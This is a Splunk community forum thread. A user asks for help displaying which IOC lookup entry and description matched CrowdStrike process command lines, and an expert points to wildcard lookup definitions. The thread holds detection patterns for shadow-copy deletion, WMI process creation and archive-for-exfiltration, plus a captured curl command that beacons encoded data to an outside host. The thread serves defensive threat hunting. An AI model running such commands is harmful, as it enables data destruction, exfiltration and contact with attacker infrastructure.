Splunk Search

Displaying matching command strings from lookup table

cybersunny
Loves-to-Learn

All -

I am new to Splunk and trying to figure out a way to return a matched command from a CSV table with inputlookup. I have ioc_check table containing command strings and description as below:

commands description
7z a -t7z -r Compress data for exfiltration
vssadmin.* Delete Shadows Deletion of Shadow copy
*wmic*process*call*create*

Uses WMI to create processes
wmic*get*http Using wmic to get and run files from internet

 

I am using this lookup table commands string against CrowdStrike CommandLine to hunt for any matches commands run by any user in our environment. So when the CommandLine filed from CrowdStrike logs matches any commands string from lookup table, it should generate an alert. What we are trying to achieve is when there is an alert it should also tell us the description of the matching command so we know which command matched with the CrowdStrike CommandLine. The final result should be like this:

CommandLine description commands
curl -g -k -H user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;) --connect-timeout 5 -d status=2f8bIrZMNKpfunrfOgXZEIywAf18sgF0O6Xgo%3d --retry 0 -L http[:]//wvfg.wetmet[.]net/api/serverservice/heart.php?serverid=1u%2bYbg%2bn25POYs4MAuxnjxQMMDoNMbhW... Using wmic to get and run files from internet wmic*get*http
     

 

I have come up with below search it gives me an alert but not able to display the matching command and description. Any help would be much appreciated!

index=crowdstrike event_simpleName=ProcessRollup2 [| inputlookup ioc_check | eval CommandLine="*"+commands+"*" | fields CommandLine] | lookup ioc_check commands OUTPUT description | table _time, CommandLine, description, commands
Labels (3)
Tags (1)
0 Karma

cybersunny
Loves-to-Learn

I tried with lookup definition "WILDCARD(commands)" but that didn't work!

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

Please share the event which was supposed to have matched and the entry in the lookup that it should have matched to

0 Karma

cybersunny
Loves-to-Learn

Here is the event:
{"ChangeTime":"159019401599.660","CapPrm":"274877906943","ParentProcessId":"41312874540918","SourceProcessId":"41312874540918","aip":"167.8.84.8","SessionProcessId":"41312874540918","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1715545935.034","SVUID":"0","EventOrigin":"1","id":"92d99f91-6970-4f66-a38a-762e6b2af7b9","EffectiveTransmissionClass":"2","Tags":"12094627905582, 12094627906234","timestamp":"1715545919041","ProcessGroupId":"32517225337224","event_simpleName":"ProcessRollup2","RawProcessId":"17459","RootPath":"/","GID":"0","SVGID":"0","MD5HashData":"b194675c8ea858f2ed21214e9bbfc16b","SHA256HashData":"14ac73386c9ca706968f2ad2bd2a861f37659d669756e730fe2747d3b726f1da","UID":"0","CommandLine":"curl -g -k -H user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;) --connect-timeout 5 -d status=IYtBsvtfYai1wFsAeUU1ad8hCB8fX2hRrPvM%2bfwQVOb30LoDJluceAyV5jg75J8bHbinyYONJqjAbsrxiZwsLcFKHE59NwzNLLBkZ88ZBNu%2bc%2bGO2WxnITbXkXZyQJkMbdXlnnAwJ602gWkuOhmsiw3Ft5c%2b4Tduq615Hllj4u5whtm9TQxay%2bOQy4mVeJ7tfurRODGqsHw6mlsjXSpmgNUA5cSDVkiuc1pCzMugiOur5Dh2XoG7ABj%2bfEjEBe33hjD6431XFaKA8YkUoLJ424pYBhiFc%2bSK7Xd1csiCYwK4jwO98E4%2f8vLn37nFw8a2Uwiy8lOeP1e1skwDMccJR7jhAndmIQtSL1GruLm9lUpGwt%2b%2bmm%2bwawKl6NEca%2bNLJeWq7EcnfpPsZzPkV9kpyPu8Pz2mrZy%2fkKoXUEoeP0IOg6sRDrYu4%2bDNhcLT3znS8OqBxi%2bZypOcnABSwamvRXP048qJHQx7pm7yPkMaG20VjGtP48RUNGM2jloRNtbgHfJW2D3BmRp2De8rNRp5fdnzKB0i%2fUfYQ%2fWbLxYoZ4LQv3YEvT6XssTi1yScdJj3miAD%2b9Q5y4R1%2fLKUO9BUIeKvf0Zm23k7BSiqznd2skvuqUo4gb6JPwPW4zpctCiAKwZlKDY4AbZe1gBkJJWrrv%2bJ8VJTP37W5fTFtsqqTEc8ziL40%2bvqes1NLAiSEN31ABppkOmgZtkPXrC42utxYLjeMC06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Vfwe0Oz24TCTfRFm%2bKhHGEt7v9PB8NZ0oCzkMwR6VerNptlspoWGjr91j0OXB6hlxjDxOD%2bIrZMNKpfunrfOgXZEIywAf18sgF0O6Xgo%3d --retry 0 -L http://wvcfg.wetmet.net/api/serverservice/heartbeat.php?serverid=1u%2bYbg%2bn25POYs4MAuxnjxQMMDoNMbh...

It should match with this lookup entry:

wmic*get*httpUsing wmic to get and run files from internet

 

It does matches but I am just not able to display command and description in my final result.

 

Thank you

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

If you change your lookup entry to

*wmic*get*http*

does it match?

0 Karma

cybersunny
Loves-to-Learn

Yes, it does matches, but I am struggling with displaying command and description in final result.

As per my logic above when I use the  | table CommandLine, commands, description ---- it just displays CommandLine, and column commands, description comes as blank.

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

I am not sure I understand - if it matches, what gets returned?

Also, what permissions/scope do you have on you have on your lookup file and lookup definition? (Make sure they are accessible by all apps)

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

ITWhisperer_0-1715706964258.png

 

0 Karma

cybersunny
Loves-to-Learn

Hi -

To explain, we have ioc_check table with over 100 commands, we are matching this commands with CrowdStrike CommandLine as a hunting perspective. This is the SPL we have which alerts us when CommandLine matches with commands string from lookup table.

index=crowdstrike event_simpleName=ProcessRollup2 [| inputlookup ioc_check | eval CommandLine="*"+commands+"*" | fields CommandLine] | lookup ioc_check commands AS CommandLine OUTPUT description | table  CommandLine, commands, description


The results we are getting as:

CommandLine commands description
curl -g -k -H user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;) --connect-timeout 5 -d status=2f8bIrZMNKpfunrfOgXZEIywAf18sgF0O6Xgo%3d --retry 0 -L http[:]//wvfg.wetmet[.]net/api/serverservice/heart.php?serverid=1u%2bYbg%2bn25POYs4MAuxnjxQMMDoNMbhW...    

 

However, the result we want as this:

CommandLine commands description
curl -g -k -H user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;) --connect-timeout 5 -d status=2f8bIrZMNKpfunrfOgXZEIywAf18sgF0O6Xgo%3d --retry 0 -L http[:]//wvfg.wetmet[.]net/api/serverservice/heart.php?serverid=1u%2bYbg%2bn25POYs4MAuxnjxQMMDoNMbhW... *wmic*get*http* Using wmic to get and run files from internet

 

Also, we have Global permissions to All apps for both Lookup table and definition.

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

The CommandLine example you have shown does not match the lookup wildcard string you have shown so it is not surprising that you don't get any results returned from the lookup.

Also, if the commands lookup field already contains leading and trailing * there should be no need to add them to the CommandLine filter in the subsearch.

0 Karma

ITWhisperer
SplunkTrust
SplunkTrust

To use wildcards in lookups they have to be defined as match type WILDCARD

https://docs.splunk.com/Documentation/Splunk/9.2.1/Knowledge/Usefieldlookupstoaddinformationtoyourev...

 

0 Karma
Get Updates on the Splunk Community!

Edge Processor | New Resiliency Improvements & Support for Additional Data Sources

We are excited to announce several exciting updates for Edge Processor aimed at hardening overall product ...

Splunk Certification Support Alert | Pearson VUE Outage

Splunk Certification holders and candidates!  Please be advised of an upcoming system maintenance period for ...

Enterprise Security Content Update (ESCU) | New Releases

In September, the Splunk Threat Research Team had two releases of new security content via the Enterprise ...